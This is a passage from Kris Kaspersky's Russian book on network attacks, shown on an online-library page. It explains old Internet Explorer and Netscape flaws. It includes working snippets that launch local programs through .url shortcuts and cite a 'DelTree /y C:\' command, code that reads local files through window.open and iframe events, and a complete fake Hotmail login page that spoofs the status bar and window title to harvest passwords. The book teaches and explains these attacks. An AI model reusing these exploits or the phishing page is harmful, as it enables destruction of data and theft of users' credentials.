Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК
- Название:ТЕХНИКА СЕТЕВЫХ АТАК
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК краткое содержание
ТЕХНИКА СЕТЕВЫХ АТАК - читать онлайн бесплатно полную версию (весь текст целиком)
Интервал:
Закладка:
Таким образом, появилась возможность создания ссылок, как открывающих, так и запускающих документы и файлы на компьютере клиента. Следующий пример демонстрирует ссылку, нажатие на которую запускает приложение “calc.exe” на компьютере жертвы.
· Index.htm
· «A HREF="calc.url"»Click Here«/a»
· calc.url
· [InternetShortcut]
· URL=file://calc.exe
Опасность заключается в том, что помимо безобидного Калькулятора существуют и такие программы, как “format.com”, “deltree.exe” и др. А Internet Explorer 3.0 запускал их без предупреждения. Для достижения задуманного злоумышленнику было достаточно поместить на свою страничку ссылку на lnk файл, содержащий вызов наподобие “C:\Windows\Command\Start.exe DelTree /y C:\”.
В следующих версиях Internet Explorer эта ошибка была устранена, но обнаружились и другие. Было бы бессмысленно подробно разбирать здесь каждую из них. Оперативную информацию можно получить на сайтах производителей или обратиться к независимым источникам (например, www.l0pht.com).
Даже последняя на момент написания книги, пятая версия браузера Internet Explorer, запущенная под управлением Windows 2000, остается небезопасной. Одна из ошибок позволяет читать локальные файлы с диска пользователя. Теоретически все скрипты должны иметь доступ только к тем файлам, которые находятся в том же домене, откуда и был запущен скрипт. Однако строгое соблюдение этого правила значительно ограничило бы возможности скриптов, поэтому пришлось пойти на некоторые послабления.
Команда “windows.open( file://C:/test.txt)” откроет файл независимо от того, в каком домене расположен вызывающий код. Однако получить доступ к его содержимому при нормальном развитии событий невозможно. Но если с помощью перенаправления изменить путь к файлу на URL, указывающий на Java-код, то этот Java-код выполнится в контексте локального документа и, следовательно, получит к нему полный доступ!
Ниже приведен один из примеров программной реализации такого трюка (на диске, прилагаемом к книге, он находится в файле “/SRC/iebug.htm”). Он одинаково хорошо работает как из-под браузера, так и при просмотре HTML-письма в Outloock Express.
· «SCRIPT LANGUAGE="JavaScript"»
· z=window.open("file://c:/test.txt");
· z.location="xxxxxxx";
· «/SCRIPT»
Команда z.location=”xxxxx” осуществляет перенаправление по указанному адресу, например, http://www.nat.bg/~joro/reject.cgi?jsredir1. В этом случае содержимое файла “C:\test.txt” будет выведено в окне диалога.
В Netscape Communicator 4.7 для предотвращения доступа к локальным файлам, запрещено использование протокола “file” в документах, открытых по протоколу http. Защита сводится к проверке параметров, передаваемых таким функциям, как, например, “open”. Ядро же виртуальной машины Java позволят манипулировать локальными файлами вне зависимости от того, откуда был загружен скрипт. Ниже приведен один из возможных примеров, позволяющих обойти защиту:
· URL zzz=new URL("file://C:/test.txt");
· getAppletContext().showDocument(zzz,"newin");
Поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “ NavigateComplete2 ”, извещающие о завершении переселения документа на новое местоположение, позволяет обеспечить доступ к этому документу, даже если он расположен на локальном диске клиента.
Код, приведенный ниже (на диске, прилагаем к книге, он содержится в файле “/SRC/ifrane.htm”), демонстрирует чтение файла “C:\test.txt” выводя его содержимое в диалоговом окне:
· «IFRAME ID="Z"»«/IFRAME»
· «SCRIPT for=Z event="NavigateComplete2(x)"»
· alert(x.document.body.innerText);
· «/SCRIPT»
·
· «SCRIPT»
· Z.navigate("file://c:/test.txt");
· «/SCRIPT»
·
На рисунке 089 продемонстрирован результат работы этого примера. Для его успешного выполнения необходимо предварительно создать в корне диска “С” файл “test.txt” c произвольным содержимым.

Часто злоумышленники для похищения конфиденциальной информации (например, паролей) используют технику подделки сайтов, заключающуюся в следующем: злоумышленник помещает на свою страничку ссылку, ведущую как будто к hotmail.com (или любому другому сайту), но жертва, решившая отправится туда, попадает вовсе не на hotmail.com, а на страничку злоумышленника, по внешнему виду ничем не отличающуюся от оригинала. Специальным образом сконструированный скрипт фальсифицирует строку адреса, строку статуса и заголовок окна браузера. Ничего не подозревающая жертва вводит свой пароль, раскрывая его злоумышленнику. Официально считается, что подобный прием основывается не на ошибках реализации, а на вполне легальных и документированных возможностях скриптов, поэтому практически все бразузеры позволяют очень качественно подделывать чужие сайты и маловероятно, чтобы в ближайшем будущем что-либо изменилось.
Опасность же атак подобного рода очень велика, - ведь подделка сайтов открывает злоумышленнику огромные перспективы. Например, таким способом можно легко распространять вирусы и троянские компоненты. Со странички Васи Пупкина если кто и возьмем какую-нибудь программу, то наверняка примет необходимые меры предосторожности (напустит на нее антивирусы и т.д.). Но стоит Васе разместить у себя ссылку, скажем, на такую-то заплатку, лежащую на сайте Microsoft, как его шансы ослабить бдительность жертвы резко возрастут. А имитация виртуальных магазинов и вовсе влечет за собой материальные убытки.
Ниже будет показано, как осуществляется такая подделка и как ее можно обнаружить. Следующий код (на диске, прилагаемом к книге, он расположен в файле “/SRC/webfake.htm”) демонстрирует подделку сайта HotMail.com (для упрощения внешний вид странички приведен в схематичном виде):
· «TITLE»
· Demo Fake WEB
· «/TITLE»
·
· «SCRIPT»
· function fake()
· {
· z=window.open("view-source:javascript:location='http://hotmail.com';")
· z.document.open();
· z.document.write(" «TITLE»
· http://hotmail.com
· «/TITLE»
· «H1»Fake HotMail«/H1»
· Sign-In Name«BR»
· «INPUT type=text»«BR»
· Password«BR»
· «INPUT type=text»«BR»
· «INPUT type=button value=' ok '»");
· z.document.close();
·}
· «/SCRIPT»
· Go to
· «A HREF="javascript:var a;
· "onclick="fake()" onMouseOver="window.status='http://hotmail.com';
· return true"»
· HotMail «/a»
Для введения пользователя в заблуждение требуется подделать: 1) содержимое строки статуса, появляющееся при наведении мыши на ссылку; 2) строку адреса открывшегося окна; 3) заголовок окна; 4) содержимое фальсифицируемой странички.
Содержимое фальсифицируемой странички технически подделать не сложно, - достаточно скопировать оригинал вместе с графикой и музыкой (если таковая имеется). Некоторые сложности могут возникнуть со скриптами, содержимое которых недоступно, поэтому их придется воссоздать самостоятельно.
Читать дальшеИнтервал:
Закладка: